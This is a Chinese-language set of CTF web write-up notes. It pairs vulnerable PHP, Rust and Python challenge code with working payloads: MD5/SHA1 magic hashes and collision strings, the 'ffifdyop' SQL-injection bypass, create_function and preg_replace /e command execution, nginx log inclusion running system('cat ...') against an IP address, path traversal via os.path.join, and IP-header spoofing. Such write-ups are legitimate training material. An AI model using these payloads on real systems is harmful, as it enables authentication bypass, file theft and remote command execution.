奇奇怪怪的get和post 1.md5碰撞 [SWPUCTF 2021 新生赛]easy_md5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ ); include 'flag2.php' ; if (isset ($_GET ['name' ]) && isset ($_POST ['password' ])){ $name = $_GET ['name' ]; $password = $_POST ['password' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ echo $flag ; } else { echo "wrong!" ; } } else { echo 'wrong!' ; } ?>
md5($a)==md5($b) & $a != $b 这里需要md5碰撞
弱相等,0e 一样后面不同
1 2 3 4 5 6 7 8 9 10 QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904
例子
post和get一下过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 1 数组绕过 对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。 <?php $a=$_GET['a']; $b=$_GET['b']; if ($a!==$b && md5($a)===md5($b)){ return "hahaha"; } 使用: ?a[]=1&b[]=2 1 2 0e绕过弱比较 对于某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同: <?php $a=$_GET['a']; $b=$_GET['b']; if ($a!==$b && md5($a)==md5($b)){ return "hahaha"; } md5: 240610708:0e462097431906509019562988736854 QLTHNDT:0e405967825401955372549139051580 QNKCDZO:0e830400451993494058024219903391 PJNPDWY:0e291529052894702774557631701704 NWWKITQ:0e763082070976038347657360817689 NOOPCJF:0e818888003657176127862245791911 MMHUWUV:0e701732711630150438129209816536 MAUXXQC:0e478478466848439040434801845361 sha1: 10932435112: 0e07766915004133176347055865026311692244 aaroZmOk: 0e66507019969427134894567494305185566735 aaK1STfY: 0e76658526655756207688271159624026011393 aaO8zKZF: 0e89257456677279068558073954252716165668 aa3OFF9m: 0e36977786278517984959260394024281014729 0e1290633704: 0e19985187802402577070739524195726831799 3 双重md5下的0e绕过 以下字符串进行两次md5后以0e开头 7r4lGXCH2Ksu2JNT3BYM CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 4 $a==md5($a) 0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等 5 md5绕过SQL ffifdyop,经过md5函数后结果为 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c; 129581926211651571912466741651878684928,经过md5函数后结果为 \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8; 6 NaN 和 INF NAN和INF,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN===NAN都是false,但md5('NaN')===md5('NaN')为true。 7 md5碰撞,sha1碰撞 使用碰撞可以绕过不同字符串,相同md5/sha1的强比较 MD5碰撞: url: 两组经过url编码后的值, #1 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 #2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf% #3 $a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; $b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; 文件: linux使用md5collgen碰撞生成两个md5值相同但内容不同的文件 md5collgen -o 1.bin 2.bin 1 windows可以下载fastcoll,碰撞生成两个md5值相同但内容不同的文件 fastcoll.exe -p 123.txt -o 1.txt 2.txt 1 sha1碰撞: url: a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
2.[BJDCTF 2020]easy_md5 抓包,在请求头里面看到hint
1 hint: select * from 'admin' where password=md5 ($pass ,true )
select * from ‘admin’ where password=md5($pass,true)
这里面password就是我们用户框中输入得东西。如果通过md5之后返回字符串是’or 1的话,形成一个永真条件,
select * from ‘admin’ where password=’ ‘or ‘6…’
看了大佬博客,这个可以用ffifdyop绕过,绕过原理是: ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from ‘admin’ where password=’’ or ‘6xxxxx’,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。 果然,我们提交之后就绕过了这个,来到了另一个页面
源码提示
robots.txt访问,来到第二关
l2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );include "str.php" ;if (isset ($_POST ['array1' ]) && isset ($_POST ['array2' ])){ $a1 = (string )$_POST ['array1' ]; $a2 = (string )$_POST ['array2' ]; if ($a1 == $a2 ){ die ("????" ); } if (md5 ($a1 ) === md5 ($a2 )){ echo $level3 ; } else { die ("level 2 failed ..." ); } } else { show_source (__FILE__ ); } ?>
md5的绕过
$a1 = (string)$_POST[‘array1’]; $a2 = (string)$_POST[‘array2’]; if ($a1 !== $a2){ if (md5($a1) === md5($a2)){ 无法通过数组绕过
网上找到一个值
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
来到level3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );include "str.php" ;if (isset ($_POST ['array1' ]) && isset ($_POST ['array2' ])){ $a1 = (string )$_POST ['array1' ]; $a2 = (string )$_POST ['array2' ]; if ($a1 == $a2 ){ die ("????" ); } if (sha1 ($a1 ) === sha1 ($a2 )){ echo $level4 ; } else { die ("level 3 failed ..." ); } } else { show_source (__FILE__ ); } ?>
md5改成了sha1
sha1前不等,sha1后相等 array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
level4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php //here is last level error_reporting(0); include "str.php"; show_source(__FILE__); $str = parse_url($_SERVER['REQUEST_URI']); if($str['query'] == ""){ echo "give me a parameter"; } if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){ die("blacklist here"); } if($_GET['NI_SA_'] === "txw4ever"){ die($level5); } else{ die("level 4 failed ..."); } ?>
query穿不穿没影响
NI_SA_=txw4ever
过滤下划线___ 考虑使用+来绕过
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM
=>CTF_SHOW.COM
level 5
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 ); include "str.php" ;$a = $_GET ['a' ];$b = $_GET ['b' ];if (preg_match ('/^[a-z0-9_]*$/isD' ,$a )){ show_source (__FILE__ );}else { $a ('' ,$b ); }
create function注入,自带eval命令执行
正则过滤$a,使用\过滤
a=\create_function
1 2 3 create_function (string $args ,string $code )
b=}system(‘tac /flag’);//
}闭合前面的else语句,//注释后面的}
19.[SWPUCTF 2021 新生赛]jicao json_decode 传json形式
{“key”:“data”}
20[vnctf2023]电子木鱼 rust整形溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 const PAYLOADS: &[Payload] = &[ Payload { name: "Cost" , cost: 10 , }, Payload { name: "Loan" , cost: -1_000 , }, Payload { name: "CCCCCost" , cost: 500 , }, Payload { name: "Donate" , cost: 1 , }, Payload { name: "Sleep" , cost: 0 , }, ]; #[get("/" )] async fn index (tera: web::Data<Tera>) -> { let mut context = Context::new (); context.insert ("gongde" , &GONGDE.get ()); if GONGDE.get () > 1_000_000_000 { context.insert ( "flag" , &std::env::var ("FLAG" ).unwrap_or_else (|_| "flag{test_flag}" .to_string ()), ); } match tera.render ("index.html" , &context) { Ok (body) => Ok (HttpResponse::Ok ().body (body)), Err (err) => Err (error::ErrorInternalServerError (err)), } } #[get("/reset" )] async fn reset () -> Json<APIResult> { GONGDE.set (0 ); web::Json (APIResult { success: true , message: "重开成功,继续挑战佛祖吧" , }) } #[post("/upgrade" )] async fn upgrade (body: web::Form<Info>) -> Json<APIResult> { if GONGDE.get () < 0 { return web::Json (APIResult { success: false , message: "功德都搞成负数了,佛祖对你很失望" , }); } if body.quantity <= 0 { return web::Json (APIResult { success: false , message: "佛祖面前都敢作弊,真不怕遭报应啊" , }); } if let Some (payload) = PAYLOADS.iter ().find (|u| u.name == body.name) { let mut cost = payload.cost; if payload.name == "Donate" || payload.name == "Cost" { cost *= body.quantity; } if GONGDE.get () < cost as i32 { return web::Json (APIResult { success: false , message: "功德不足" , }); } if cost != 0 { GONGDE.set (GONGDE.get () - cost as i32 ); } if payload.name == "Cost" { return web::Json (APIResult { success: true , message: "小扣一手功德" , }); } else if payload.name == "CCCCCost" { return web::Json (APIResult { success: true , message: "功德都快扣没了,怎么睡得着的" , }); } else if payload.name == "Loan" { return web::Json (APIResult { success: true , message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖" , }); } else if payload.name == "Donate" { return web::Json (APIResult { success: true , message: "好人有好报" , }); } else if payload.name == "Sleep" { return web::Json (APIResult { success: true , message: "这是什么?床,睡一下" , }); } } web::Json (APIResult { success: false , message: "禁止开摆" , }) }
在index的源码中
有
1 2 3 {% if flag %} <h2>功德无量,你比佛祖都nb:{{ flag }}</h2> {% endif %}
flag满足的条件是flag>1e9
结合功德的范围是i32,参照rust表,得到溢出点
传参{“Cost”,’2000000000’},得到flag
0-2e10=>超出i32值,变为正数=》得到flag
21[NISACTF 2022]babyupload py的源码审计
访问得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @app.route('/source' ) def source (): return send_from_directory(directory="/var/www/html/" , path="www.zip" , as_attachment=True ) @app.route('/upload' , methods=['POST' ] ) def upload (): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try : cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid) @app.route('/file/<id>' ) def file (id ): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?" , (id ,)) res = cur.fetchone() if res is None : return "File not found" , 404 with open (os.path.join("uploads/" , res[0 ]), "r" ) as f: return f.read()
存在路径拼接漏洞
上传过滤了。
没有办法通过直接的上传绕过来处理
当访问/file/uuid的时候,会打开并读取/
第一个以”/”开头的参数开始拼接,之前的参数全部丢弃,当有多个时,从最后一个开始
当尝试读取file/uuid的时候,会拼接路径到/upload/上传文件
os.path.join()会读取到/flag并返回
读取到flag文件。
22.[[HUBUCTF 2022 新生赛]checkin] php弱类型比较 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source (__FILE__ );$username = "this_is_secret" ; $password = "this_is_not_known_to_you" ; include ("flag.php" );$info = isset ($_GET ['info' ])? $_GET ['info' ]: "" ;$data_unserialize = unserialize ($info );if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }else { echo "username or password error!" ; } ?>
源码要求传入passwd和username的值的大小
但是flag会改变对应的键值
bool值和所有非零值的比较结果都为true
传入
$username = ture
$password = ture
1 2 3 4 5 6 7 8 <?php $a = ['username' => true ,'password' => true ]; $info = serialize ($a );echo $info ;?>
[鹤城杯 2021]Middle magic
关键绕过
1 2 3 4 if (isset ($_GET ['aaa' ]) && strlen ($_GET ['aaa' ]) < 20 ){ $aaa = preg_replace ('/^(.*)level(.*)$/' , '${1}<!-- filtered -->${2}' , $_GET ['aaa' ]); if (preg_match ('/pass_the_level_1#/' , $aaa )){ echo "here is level 2" ;
模糊匹配了level前后的东西,使用%0a和%23绕过
%0apass_the_level_1%23
preg_replace 函数我们可以用换行符去绕过,采用%0a 的方式去绕过,因为在正则匹配的时候存在¥/,下方的preg_match 的时候是匹配
/pass_the_level_1#/ 内容,导致#结束会中标正则规则,所以采用URL编码的格式替换#号 %23
23.[BJDCTF 2020]ZJCTF,不过如此 源码审计,直接上重点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
正则/e匹配模式漏洞 上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。
深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)
24[HNCTF 2022 WEEK2]easy_include 源码审计
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; if (preg_match ("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i" , $file )){ die ("error" ); } include ($file ); }else { highlight_file (__FILE__ ); }
伪协议的过滤,过滤了php和data
考虑日志包含
日志包含 抓包得到nigex/2.1的系统版本
/var/log/nginx/access.log
直接尝试包含
[43.143.7.127:28907/?file=/var/log/nginx/access.log&a=system(%27cat /ffflllaaaggg%27);](http://43.143.7.127:28907/?file=/var/log/nginx/access.log&a=system (‘cat /ffflllaaaggg’);)
得到flag
25.litsctf2023 http pro in max ip伪造 除了xff头的伪造之外,还存在其他的为伪造思路
X-Real-IP
X-Forwarded-Proto
X-Forwarded-Host
Client-ip等等
代理伪造 via头伪造
26.dog03ctf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );include "fl4g.php" ;$dest0g3 = $_POST ['ctf' ];$time = date ("H" );$timme = date ("d" );$timmme = date ("i" );if (($time > "24" ) or ($timme > "31" ) or ($timmme > "60" )){ echo $fl4g ; }else { echo "Try harder!" ; } set_error_handler ( function() use (&$fl4g ) { print $fl4g ; } ); $fl4g .= $dest0g3 ;?>